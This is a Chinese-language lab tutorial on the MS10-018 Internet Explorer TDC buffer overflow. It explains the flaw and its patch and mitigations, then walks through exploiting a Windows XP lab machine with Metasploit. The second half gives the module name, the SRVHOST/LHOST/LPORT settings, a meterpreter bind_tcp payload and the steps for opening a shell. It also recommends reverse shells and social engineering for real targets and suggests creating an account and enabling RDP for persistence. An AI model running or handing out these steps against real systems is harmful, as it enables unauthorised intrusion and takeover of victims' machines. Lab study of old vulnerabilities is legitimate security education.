一、漏洞介绍
基本信息
攻击者如何利用
1. 黑客构造恶意网页,包含超长 data: URL
↓
2. IE 的 TDC 控件尝试解析这个 URL
↓
3. URL 太长,超出了分配的内存缓冲区
↓
4. 多余的数据"溢出"到相邻内存区域
↓
5. 覆盖了关键的对象指针或函数地址
↓
6. 程序后续调用这些被覆盖的地址
↓
7. 执行了黑客预设的恶意代码如何防护
1.及时安装微软的补丁
补丁编号:微软通过安全公告MS10-018发布修复补丁(KB980182),更新TDC控件的内存处理逻辑。
2.临时缓解方案
禁用ActiveX控件:通过IE安全设置禁用TDC控件(CLSID:333C7BC4-460F-11D0-BC04-0080C7055A83)
启用DEP/ASLR:在高级IE设置中强制启用数据执行保护和地址空间随机化。
二、完整复现
1.准备工作
确保目标靶机没有安装KB980182补丁,关闭防火墙,目标靶机可以访问攻击机制作的恶意链接
目标靶机:192.168.68.132(winXP_sp3)
攻击机:192.168.68.128(kalilinux)
2.msf复现
启动msf,在kali终端中输入 msfconsole
Search MS10-018
search MS10-018
使用MS10-018
use exploit/windows/browser/ms10_018_ie_behaviors 查看需要设置什么参数
show options
图片中的required一栏中yes是必须要设置的,no是可选不强制要求的,所以我们需要设置SRVHOST,SRVPORT,EXITFUNC,LHOST,LPORT,而图中我们可以看到current setting是我们目前的配置,核对发现基本都设置好了,只有SRVHOST没设置对,要改成我们本机ip192.168.68.128,其余都可以不用动
配置msf
整个配置如下
set SRVHOST 192.168.68.128
set lhost 192.168.68.128
set lport 4444
set payload windows/meterpreter/bind_tcp
tips:这里的payload是一个正向连接shell,正常情况下应该是个反向shell (reverse_tcp),因为我们是在内网,目标靶机和攻击机在同一个网段,而且目标主机关闭了防火墙,所以我们才可以成功,真实情况对方可能有防火墙,我们无法直接访问对方ip,就使用反向shell,木马,浏览器漏洞,钓鱼网站优先使用反向 shell。
Run
接下来输入 run运行

我们发现服务已经跑起来了,但是没有会话建立,因为还没有人访问,我们需要配合社工让对方点击我们的恶意链接
当目标靶机使用ie浏览器访问我们的链接时会出现这个界面,显示连接已建立

接下来我们按一下回车,把让他继续显示
进入会话
输入sessions 列出所有的会话,发现第一个就是目标靶机然后输入session -i 1 ,进入会话1

出现了meterpreter就代表我们已经控制了目标靶机
3.让靶机执行相关命令
输入shell即可进入目标靶机的终端,也就是cmd命令行
我们就可以 ipconfig 查看对方的网络配置信息
或者创建一个账户,然后开启rdp远程登陆对方主机